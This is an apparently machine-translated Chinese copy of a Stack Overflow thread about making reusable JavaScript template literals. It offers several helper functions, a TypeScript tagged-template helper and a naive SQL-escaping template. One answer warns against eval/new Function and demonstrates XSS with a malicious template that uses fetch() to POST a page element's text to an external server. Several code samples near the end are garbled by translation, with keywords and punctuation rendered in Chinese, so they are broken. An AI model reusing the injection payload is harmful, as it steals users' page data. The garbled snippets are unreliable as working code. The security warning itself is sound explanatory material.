运行时模板字符串

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

Test

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));

这是我最好的尝试:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

generalify:

var s = (<variable names you want>) => {return `<template with those variables>`}

如果你没有运行E6，你也可以这样做:

var s = function(<variable names you want>){return `<template with those variables>`}

这似乎比前面的回答更简洁一些。

https://repl.it/@abalter/reusable-JS-template-literal

所有的道具在这里教我关于javascript的一个功能，我从来不知道-我知道字符串模板文字，但不知道你可以用它们调用函数没有括号!

作为感谢，我在这里分享我的typescript改编，这使得它很容易用typescript知道的命名变量来制作一个可重用的模板——它允许任何类型，因为它们会自动转换为字符串，但如果你不喜欢这个策略，你可以自己调整。

/**
 * Use this with a template literal in order to create reusable string template;
 * use interpolation to add strings for each variable you want to use in the template.
 * 
 * e.g.:
 * 
 *  const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
 * 
 * You can then call it with:
 * 
 *  const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
 *  // John and Jane are going to Paris
 * 
 * reUsableStringTemplate will have types and know the names of your variables
 * 
 * @returns String template function with full typescript types
 */
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
  return (opts: Record<keys, any>) => {
    let outStr = '';
    for (let i = 0; i < parts.length; ++i) {
      outStr += parts[i];
      const key = keys.shift();
      if (key && key in opts) {
        outStr += opts[key];
      } else {
        outStr += key ?? '';
      }
    }
    return outStr;
  };
}

你可以在函数中放入一个模板字符串:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

你可以用带标签的模板做同样的事情:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

其思想是让模板解析器从变量“slots”中分离出常量字符串，然后返回一个函数，该函数每次都根据一组新的值将它们重新组合在一起。

我遗漏了什么吗?是否有一个[好]方法来使一个可重用的模板文字?

也许我遗漏了一些东西，因为我对这个问题的解决方案对我来说太明显了，以至于我很惊讶没有人在这样一个古老的问题中写下这个答案。

对于这个问题，我几乎只有一句话:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

这是所有。当我想重用一个模板并推迟替换的解析时，我只做:

function defer([first, ...rest]) { return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first); } t = defer`My template is: ${null} and ${null}`; a = t('simple', 'reusable'); // 'My template is: simple and reusable' b = t('obvious', 'late to the party'); // 'My template is: obvious and late to the party' c = t(null); // 'My template is: null and undefined' d = defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false' console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");

应用此标记将返回一个'函数'(而不是'字符串')，该函数将忽略传递给字面量的任何参数。然后可以稍后用新参数调用它。如果一个参数没有相应的替换，它就变成了“undefined”。

扩展的回答

这段简单的代码是功能性的，但是如果您需要更详细的行为，可以应用相同的逻辑，并且有无限的可能性。你可以:

利用原始参数:

您可以在结构中存储传递给文字的原始值，并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。下面是一个使用它们作为默认值的例子:

function deferWithDefaults([first，…，…默认值){ 返回(…values) => rest。Reduce ((acc, curr, i) => { 返回acc + (i < values。长度呢?值[i]: defaults[i]) + curr; },第一); ｝ 我的模板是:${'extendable'}和${'versatile'}; A = t('awesome'); // '我的模板是:awesome and versatile' console.log(一个);

写一个模板工厂:

通过将此逻辑包装在一个函数中，该函数期望作为参数的自定义函数可以应用于约简(当连接模板字面量的片段时)，并返回具有自定义行为的新模板。

然后，你可以，例如，编写模板，自动转义或清除参数时，编写嵌入式html, css, sql, bash…

使用这个naïve(我重复一遍，naïve!) sql模板，我们可以构建这样的查询:

const createTemplate = fn => function (strings, ...defaults) { const [first, ...rest] = strings; return (...values) => rest.reduce((acc, curr, i) => { return acc + fn(values[i], defaults[i]) + curr; }, first); }; function sqlSanitize(token, tag) { // this is a gross simplification, don't use in production. const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/ .test(name) ? `"${name.replace(/"/g, '""')}"` : name); const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value); switch (tag) { case 'table': return quoteName(token); case 'columns': return token.map(quoteName); case 'row': return token.map(quoteValue); default: return token; } } const sql = createTemplate(sqlSanitize); q = sql`INSERT INTO ${'table'} (${'columns'}) ... VALUES (${'row'});` a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true]) // `INSERT INTO user (id,"user name","is""Staff""?") // VALUES (1,'O''neil',true);` console.log(a);

接受命名参数进行替换:基于已经给出的内容，这是一个不那么困难的练习。在另一个答案中有一个实现。 使返回对象的行为像一个“字符串”:嗯，这是有争议的，但可能会导致有趣的结果。在另一个答案中。 解析调用站点全局命名空间中的参数:

我给你，可重用的模板文字

这是OP展示的附录，使用了邪恶的命令，我的意思是eval。这可以在没有eval的情况下完成，只需将传递的变量名搜索到全局(或窗口)对象中即可。我不演示怎么做，因为我不喜欢它。闭包是正确的选择。

是的，你可以通过解析你的字符串模板作为JS函数(或eval) -但这是不建议的，允许XSS攻击

// unsafe string-template function const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } function parseString() { // Example malicious string which will 'hack' fillTemplate function var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`"; var templateData = {Id:1234, User:22}; var result = fillTemplate(evilTemplate, templateData); console.log(result); alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`); } #mydiv { background: red; margin: 20px} .btn { margin: 20px; padding: 20px; } <pre> CASE: system allow users to use 'templates' and use fillTemplate function to put variables into that templates Then backend save templates in DB and show them to other users... Some bad user/hacker can then prepare malicious template with JS code... and when other logged users "see" that malicious template (e.g. by "Click me!" in this example), then it can read some information from their current page with private content and send it to external server. Or in worst case, that malicious template can send some authorized "action" request to the backend... (like e.g. action which delete some user content or change his name etc.). In case when logged user was Admin then action can be even more devastating (like delete user etc.) </pre> <div id='mydiv'> Private content of some user </div> <div id="msg"></div> <button class="btn" onclick="parseString()">Click me! :)</button>

相反，你可以安全地以如下方式动态地将对象obj字段插入模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

让注入= (str, obj) = > str.replace (/\${(.*?)}/ g (x, g) = > obj [g]); //——test—— //对象中的参数 let t1 = '我的名字是${name}，我是${age}。我哥哥的名字也是${name}.'; let r1 = inject(t1， {name: 'JOHN'，年龄:23}); console.log(“对象:r1); //数组中的参数 let t2 = " ${0}的值在${2}数组中，${1}的值为${0}。" let r2 = inject(t2， ['A,B,C'， 666， 'BIG']); console.log("ARRAY:"， r2);